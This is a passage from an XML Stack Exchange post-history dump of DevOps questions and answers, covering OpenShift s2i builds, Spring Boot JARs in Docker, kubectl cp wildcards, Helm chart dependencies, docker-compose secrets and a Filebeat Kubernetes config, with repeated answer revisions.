servlet container on a single JAR. You can run it as “java -jar” and it runs you webapp or you simply run it “./my-app-1.0.0.jar” and it will run. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21330" PostHistoryTypeId="5" PostId="6724" RevisionGUID="61230a70-c655-49ce-8f80-bffe8d426f3a" CreationDate="2019-03-28T21:25:12.887" UserId="10599" Comment="added 12 characters in body; added 170 characters in body; deleted 2 characters in body" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it does a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It also means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central docker registry it does a fast repeatable build. &#xA;&#xA;There are community supported s2i images for php, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “$HOME/deployment”. When you run the container where your WAR was appended as the last layer it runs wildfly that deploys whatever finds in the deployment folder (but double check its been a while since I looked at it). &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Append a docker pipeline step to create your image and push it to your chosen container registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their container registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into the world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp and the servlet container on a single JAR. You can run it as “java -jar” and it runs you webapp or you simply run it “./my-app-1.0.0.jar” and it will run. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21331" PostHistoryTypeId="5" PostId="6724" RevisionGUID="40dadc3c-83a1-4028-8f7a-95b04bccdb52" CreationDate="2019-03-28T21:32:46.447" UserId="10599" Comment="added 99 characters in body" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it does a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It also means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central docker registry it does a fast repeatable build. &#xA;&#xA;There are community supported s2i images for php, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “$HOME/deployment”. When you run the container where your WAR was appended as the last layer it runs wildfly that deploys whatever finds in the deployment folder (but double check its been a while since I looked at it). &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Append a docker pipeline step to create your image and push it to your chosen container registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their container registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into the world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp and the servlet container on a single JAR. You can run it as “java -jar” and it runs your webapp in an embedded servlet container. Better yet if configured the build to make an executable jar you can simply run it “./my-app-1.0.0.jar” and it will lunch. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21332" PostHistoryTypeId="2" PostId="6725" RevisionGUID="df4140b0-87ab-40a5-ad87-08c12720f9d6" CreationDate="2019-03-28T21:41:47.610" UserId="13140" Text="You can do that using this command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl cp -n [NAMESPACE] [POD_NAME]:/[POD_DIRECTORY]/. .&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21333" PostHistoryTypeId="5" PostId="6724" RevisionGUID="dd4d6e1e-02e4-4d01-9fe4-5828912fe2ff" CreationDate="2019-03-28T21:43:10.050" UserId="10599" Comment="added 64 characters in body" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it does a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It also means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central docker registry it does a fast repeatable build. &#xA;&#xA;s2i is a stand alone tool that can use your local docker demon. There are community supported s2i images for php, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “$HOME/deployment”. When you run the container where your WAR was appended as the last layer it runs wildfly that deploys whatever finds in the deployment folder (but double check its been a while since I looked at it). &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Append a docker pipeline step to create your image and push it to your chosen container registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their container registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into the world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp and the servlet container on a single JAR. You can run it as “java -jar” and it runs your webapp in an embedded servlet container. Better yet if configured the build to make an executable jar you can simply run it “./my-app-1.0.0.jar” and it will lunch. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21334" PostHistoryTypeId="2" PostId="6726" RevisionGUID="ceac8404-e46c-4d83-bef0-e66cec7e9dc3" CreationDate="2019-03-28T21:50:23.343" UserId="13139" Text="Wildcard support was added to `kubectl cp` in the [#72641][1] pull request.&#xD;&#xA;&#xD;&#xA;It's was merged and is **available only in Kubernetes v1.14.0**. Take a look at the [ChangeLog][2]:&#xD;&#xA;&#xD;&#xA;&gt; Notable Features:   &#xD;&#xA;[...]  &#xD;&#xA;• kubectl supports copying files with wild card&#xD;&#xA;&gt; (#72641, @dixudx)&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/pull/72641&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#notable-features" ContentLicense="CC BY-SA 4.0" />
  <row Id="21335" PostHistoryTypeId="5" PostId="6669" RevisionGUID="e9be8f0f-6b37-4d23-8485-b3ed6b1846fb" CreationDate="2019-03-28T21:54:00.447" UserId="13140" Comment="Question was poorly formatted, fixed those, also added some edits to make content clear" Text="I have several files named out1, out2, ... in my kubernetes container. I want to copy them to my local computer. I am using:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl cp pod:/path/out* .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But I am getting an error:&#xD;&#xA;&#xD;&#xA;&gt; tar: Removing leading `/' from member names &lt;br&gt;&#xD;&#xA;    tar: /path/out*: Cannot stat: No such file or directory&#xD;&#xA;    tar: Exiting with failure status due to previous errors &lt;br&gt;&#xD;&#xA;    error: path/out* no such file or directory&#xD;&#xA;&#xD;&#xA;How can I use `kubectl cp` with wildcards? " ContentLicense="CC BY-SA 4.0" />
  <row Id="21336" PostHistoryTypeId="24" PostId="6669" RevisionGUID="e9be8f0f-6b37-4d23-8485-b3ed6b1846fb" CreationDate="2019-03-28T21:54:00.447" Comment="Proposed by 13140 approved by -1 edit id of 961" ContentLicense="CC BY-SA 4.0" />
  <row Id="21337" PostHistoryTypeId="5" PostId="6669" RevisionGUID="64492f1a-51db-43b0-99bb-e2d2d45c643e" CreationDate="2019-03-28T21:54:00.447" UserId="40" Comment="edited body" Text="I have several files named out1, out2, ... in my Kubernetes container. I want to copy them to my local computer. I am using:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl cp pod:/path/out* .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But I am getting an error:&#xD;&#xA;&#xD;&#xA;&gt; tar: Removing leading `/' from member names &lt;br&gt;&#xD;&#xA;    tar: /path/out*: Cannot stat: No such file or directory&#xD;&#xA;    tar: Exiting with failure status due to previous errors &lt;br&gt;&#xD;&#xA;    error: path/out* no such file or directory&#xD;&#xA;&#xD;&#xA;How can I use `kubectl cp` with wildcards? " ContentLicense="CC BY-SA 4.0" />
  <row Id="21338" PostHistoryTypeId="5" PostId="6724" RevisionGUID="655b04c7-7575-42a3-95ab-63537b0c9aa8" CreationDate="2019-03-28T21:57:48.700" UserId="10599" Comment="added 4 characters in body; added 111 characters in body" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it does a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It also means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central container registry and does a fast repeatable build. &#xA;&#xA;s2i is a stand alone tool that can use your local docker demon. So it acts as a single commandline ”compile my stuff into an updated docker image”. There are community supported s2i images for php7, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “./deployment”. When you run the image that s2i writes out to your container registry it launches wildfly that is in the base layers and it deploys whatever finds in the deployment folder (but double check its been a while since I looked at it). &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Append a docker pipeline step to create your image and push it to your chosen container registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their container registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into the world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp and the servlet container on a single JAR. You can run it as “java -jar” and it runs your webapp in an embedded servlet container. Better yet if configured the build to make an executable jar you can simply run it “./my-app-1.0.0.jar” and it will lunch. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21339" PostHistoryTypeId="5" PostId="6726" RevisionGUID="38f75298-3ad5-412a-bb32-816c912ba8e9" CreationDate="2019-03-28T21:59:04.587" UserId="13139" Comment="Fix grammar" Text="Wildcard support was added to `kubectl cp` in the [#72641][1] pull request.&#xD;&#xA;&#xD;&#xA;It is merged but **only available in Kubernetes v1.14.0**. Take a look at the [ChangeLog][2]:&#xD;&#xA;&#xD;&#xA;&gt; Notable Features:   &#xD;&#xA;[...]  &#xD;&#xA;• kubectl supports copying files with wild card&#xD;&#xA;&gt; (#72641, @dixudx)&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/pull/72641&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#notable-features" ContentLicense="CC BY-SA 4.0" />
  <row Id="21341" PostHistoryTypeId="5" PostId="6724" RevisionGUID="1d15c8ac-0d5d-4903-a0ef-1d1ea39d9708" CreationDate="2019-03-28T22:05:30.553" UserId="10599" Comment="added 19 characters in body" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it does a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It also means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central container registry and does a fast repeatable build. &#xA;&#xA;s2i is a stand alone tool that can use your local docker demon. So it acts as a single commandline ”compile my stuff into an updated docker image”. There are community supported s2i images for php7, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “./deployment”. When you run the image that s2i writes out to your container registry it launches wildfly that is in the base layers and it deploys whatever finds in the deployment folder (but double check its been a while since I looked at it). &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Append a docker pipeline step to create your image and push it to your chosen container registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their container registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into the world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp including the servlet container packed into a single JAR. You can run it as “java -jar” and it runs your webapp in an embedded servlet container. Better yet configure it's maven plugin to make an executable jar you can simply run as “./my-app-1.0.0.jar” and it will lunch. That makes building a docker image trivial. You don’t have to install tomcat you only need a container with Java on it and copy in your spring boot executable JAR and run it as the CMD. Spring Boot is very mainstream for Java microservices and it runs Jetty under the bonnet. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="21349" PostHistoryTypeId="2" PostId="6730" RevisionGUID="926c52d2-2fbc-4d1d-b52f-2480cd62fe87" CreationDate="2019-03-29T10:13:28.273" UserId="13146" Text="For example, I have this charts structure:&#xD;&#xA;```&#xD;&#xA;├── parentChart&#xD;&#xA;│   ├── charts&#xD;&#xA;│   │   ├── childChart1&#xD;&#xA;│   │   │   ├── charts&#xD;&#xA;│   │   │   │   └── postgresql-3.11.6.tgz&#xD;&#xA;│   │   │   ├── Chart.yaml&#xD;&#xA;│   │   │   ├── requirements.lock&#xD;&#xA;│   │   │   ├── requirements.yaml&#xD;&#xA;│   │   │   ├── templates&#xD;&#xA;...&#xD;&#xA;│   │   │   └── values.yaml&#xD;&#xA;│   │   ├── childChart2&#xD;&#xA;│   │   │   ├── charts&#xD;&#xA;│   │   │   │   └── postgresql-3.11.6.tgz&#xD;&#xA;│   │   │   ├── Chart.yaml&#xD;&#xA;│   │   │   ├── requirements.lock&#xD;&#xA;│   │   │   ├── requirements.yaml&#xD;&#xA;│   │   │   ├── templates&#xD;&#xA;...&#xD;&#xA;│   │   │   └── values.yaml&#xD;&#xA;│   └── Chart.yaml&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the childChart1 and childChart2 I have this dependency:&#xD;&#xA;Child1:&#xD;&#xA;```yaml&#xD;&#xA;dependencies:&#xD;&#xA;  - name: postgresql&#xD;&#xA;    version: 3.11.6&#xD;&#xA;    repository: alias:stable&#xD;&#xA;    alias: child1-postgres&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;Child2:&#xD;&#xA;```yaml&#xD;&#xA;dependencies:&#xD;&#xA;  - name: postgresql&#xD;&#xA;    version: 3.11.6&#xD;&#xA;    repository: alias:stable&#xD;&#xA;    alias: child2-postgres&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;First problem: I expect that after deploy parent chart I will have 4 deployment:&#xD;&#xA;&#xD;&#xA;1. childChart1&#xD;&#xA;2. childChart1 Postgresql&#xD;&#xA;3. childChart2&#xD;&#xA;4. childChart2 Postgresql&#xD;&#xA;&#xD;&#xA;Am I right?&#xD;&#xA;&#xD;&#xA;If I don't do anything wrong with a first problem, why I see this message when I trying to deploy this charts:&#xD;&#xA;```&#xD;&#xA;$ helm install $opts --name $NAME --namespace $NAME $package --wait --timeout 9999&#xD;&#xA;Error: release test failed: secrets &quot;test-postgresql&quot; already exists&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;P.S. I have this helm version:&#xD;&#xA;```&#xD;&#xA;$ helm version&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.11.0&quot;, GitCommit:&quot;2e55dbe1fdb5fdb96b75ff144a339489417b146b&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.11.0&quot;, GitCommit:&quot;2e55dbe1fdb5fdb96b75ff144a339489417b146b&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21350" PostHistoryTypeId="1" PostId="6730" RevisionGUID="926c52d2-2fbc-4d1d-b52f-2480cd62fe87" CreationDate="2019-03-29T10:13:28.273" UserId="13146" Text="How to use same Helm dependency in many charts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21351" PostHistoryTypeId="3" PostId="6730" RevisionGUID="926c52d2-2fbc-4d1d-b52f-2480cd62fe87" CreationDate="2019-03-29T10:13:28.273" UserId="13146" Text="&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21352" PostHistoryTypeId="50" PostId="6380" RevisionGUID="264a89b1-b3a8-463f-b9de-0e6a307c42ce" CreationDate="2019-03-29T11:52:42.053" UserId="-1" />
  <row Id="21353" PostHistoryTypeId="2" PostId="6731" RevisionGUID="a2757c87-6243-4cef-96ee-327676e5fa90" CreationDate="2019-03-29T16:17:07.463" UserId="13052" Text="I am fairly new to DevOps. I have managed to build myself a CI/DI pipeline for my [open source project][1].&#xD;&#xA;&#xD;&#xA;As soon as I check-in some code into GitHub, Travis CI takes over, it builds a fresh docker image of my code, pushes it to DockerHub, then the `after_success` step within [my `.travis.yml`][2] connects to my VPS via SSH, and runs a script on there which basically does a `docker-compose down` followed by a `docker-compose pull &amp;&amp; docker compose up`.&#xD;&#xA;&#xD;&#xA;All seems to be working correctly. But I have an issue with [my `docker-compose.yml`][3]. Right now as you can see, it has all my environmental variables. Those are considered secret information. How do I hide them from the `docker-compose.yml` file whilst having everything still working as before?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/JwanKhalaf/Bejebeje.Identity&#xD;&#xA;  [2]: https://github.com/JwanKhalaf/Bejebeje.Identity/blob/develop/.travis.yml&#xD;&#xA;  [3]: https://github.com/JwanKhalaf/Bejebeje.Identity/blob/develop/docker-compose.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="21354" PostHistoryTypeId="1" PostId="6731" RevisionGUID="a2757c87-6243-4cef-96ee-327676e5fa90" CreationDate="2019-03-29T16:17:07.463" UserId="13052" Text="How do you hide sensitive information held in variables on a docker-compose file" ContentLicense="CC BY-SA 4.0" />
  <row Id="21355" PostHistoryTypeId="3" PostId="6731" RevisionGUID="a2757c87-6243-4cef-96ee-327676e5fa90" CreationDate="2019-03-29T16:17:07.463" UserId="13052" Text="&lt;docker-compose&gt;&lt;travis-ci&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21356" PostHistoryTypeId="2" PostId="6732" RevisionGUID="a5821e7c-bd86-40ae-8d72-340b2d68857d" CreationDate="2019-03-29T17:28:01.690" UserId="6258" Text="Use environment variables on your host that are read by your `docker-compose.yml` file.  There are a couple ways to accomplish this.  One way is to create a `.env` file on the host that contains your variables.  Docker Compose will read these variables and apply them to your configuration.&#xD;&#xA;&#xD;&#xA;Alternatively, or in conjunction with a `.env` file, you can set environment variables in your shell.  These variables will be applied the same way as those read from a `.env` file and actually take precedence.&#xD;&#xA;&#xD;&#xA;Read more here: https://docs.docker.com/compose/environment-variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21357" PostHistoryTypeId="5" PostId="6731" RevisionGUID="084a59e9-2b7d-4471-a7a8-0fa56e480b3f" CreationDate="2019-03-29T19:43:17.213" UserId="13052" Comment="Updated." Text="I am fairly new to DevOps. I have managed to build myself a CI/DI pipeline for my [open source project][1].&#xD;&#xA;&#xD;&#xA;As soon as I check-in some code into GitHub, Travis CI takes over, it builds a fresh docker image of my code, pushes it to DockerHub, then the `after_success` step within [my `.travis.yml`][2] connects to my VPS via SSH, and runs a script on there which basically does a `docker-compose down` followed by a `docker-compose pull &amp;&amp; docker compose up`.&#xD;&#xA;&#xD;&#xA;All seems to be working correctly. But I have an issue with [my `docker-compose.yml`][3]. Right now as you can see, it has all my environmental variables. Those are considered secret information. How do I hide them from the `docker-compose.yml` file whilst having everything still working as before?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I went and created myself a `variables.env` file in the same directory as the `docker-compose.yml`. Inside the `.env` file, I put my old variables, for example:&#xD;&#xA;&#xD;&#xA;    Database__DefaultConnectionString: &quot;Server=database;Port=5432;Database=bejebeje_identity;User Id=postgres;Password=admin;&quot;&#xD;&#xA;&#xD;&#xA;But in Travis CI I get the following error:&#xD;&#xA;&#xD;&#xA;&gt; environment variable name 'Database__DefaultConnectionString: &quot;Server' may not contains whitespace.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/JwanKhalaf/Bejebeje.Identity&#xD;&#xA;  [2]: https://github.com/JwanKhalaf/Bejebeje.Identity/blob/develop/.travis.yml&#xD;&#xA;  [3]: https://github.com/JwanKhalaf/Bejebeje.Identity/blob/develop/docker-compose.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="21358" PostHistoryTypeId="5" PostId="5831" RevisionGUID="d49da73d-bb2c-4051-ab1e-8b1bf93fc264" CreationDate="2019-03-29T19:49:55.607" UserId="13139" Comment="Fixed grammar" Text="I need to receive all container logs using Filebeat autodiscover. When I deployed Filebeat to Kubernetes without using helm, I got all the container logs in the first attempt. I want to do the same with helm. However, because I applied a very complex configuration, I cannot receive the log files from all containers, PodList returns just this node container log. I can't find out how I did it on my first try. The first option that came to my mind was to give the serviceaccount a cluster-admin role. But I could not access all the log files again when I tried it.&#xD;&#xA;&#xD;&#xA;**How to access all container log list using Filebeat Autodiscover?** (deamonset is a bad solution)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat-config&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    data:&#xD;&#xA;      filebeat.yml: |-&#xD;&#xA;        filebeat.autodiscover:&#xD;&#xA;          providers:&#xD;&#xA;            - type: kubernetes&#xD;&#xA;              templates:&#xD;&#xA;                - condition:&#xD;&#xA;                    equals:&#xD;&#xA;                      kubernetes.namespace: bau&#xD;&#xA;                  config:&#xD;&#xA;                    - type: docker&#xD;&#xA;                      containers.ids:&#xD;&#xA;                        - &quot;${data.kubernetes.container.id}&quot;&#xD;&#xA;        output.elasticsearch:&#xD;&#xA;          hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']&#xD;&#xA;        setup.template.settings:&#xD;&#xA;          index.number_of_shards: 5&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    roleRef:&#xD;&#xA;      kind: ClusterRole &#xD;&#xA;      name: cluster-admin &#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    spec:&#xD;&#xA;      serviceAccountName: filebeat&#xD;&#xA;      containers:&#xD;&#xA;      - name: filebeat&#xD;&#xA;        image: &quot;10.6.155.20:5000/filebeat:6.5.3&quot;&#xD;&#xA;        args: [&#xD;&#xA;          &quot;-c&quot;, &quot;/etc/filebeat.yml&quot;,&#xD;&#xA;          &quot;-e&quot;,&#xD;&#xA;        ]&#xD;&#xA;        env:&#xD;&#xA;        - name: ELASTICSEARCH_HOST&#xD;&#xA;          value: bau-sla-elasticsearch&#xD;&#xA;        - name: ELASTICSEARCH_PORT&#xD;&#xA;          value: &quot;9200&quot;&#xD;&#xA;        securityContext:&#xD;&#xA;          runAsUser: 0&#xD;&#xA;          fsGroup: 2000&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            memory: 200Mi&#xD;&#xA;          requests:&#xD;&#xA;            cpu: 100m&#xD;&#xA;            memory: 100Mi&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: config&#xD;&#xA;          mountPath: /etc/filebeat.yml&#xD;&#xA;          readOnly: true&#xD;&#xA;          subPath: filebeat.yml&#xD;&#xA;        - name: data&#xD;&#xA;          mountPath: /usr/share/filebeat/data&#xD;&#xA;        - name: varlibdockercontainers&#xD;&#xA;          mountPath: /var/lib/docker/containers&#xD;&#xA;          readOnly: true&#xD;&#xA;      volumes:&#xD;&#xA;      - name: config&#xD;&#xA;        configMap:&#xD;&#xA;          defaultMode: 0600&#xD;&#xA;          name: filebeat-config&#xD;&#xA;      - name: varlibdockercontainers&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/docker/containers&#xD;&#xA;      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart&#xD;&#xA;      - name: data&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/filebeat/bau&#xD;&#xA;          type: DirectoryOrCreate&#xD;&#xA;    ---" ContentLicense="CC BY-SA 4.0" />
  <row Id="21359" PostHistoryTypeId="24" PostId="5831" RevisionGUID="d49da73d-bb2c-4051-ab1e-8b1bf93fc264" CreationDate="2019-03-29T19:49:55.607" Comment="Proposed by 13139 approved by -1 edit id of 962" ContentLicense="CC BY-SA 4.0" />
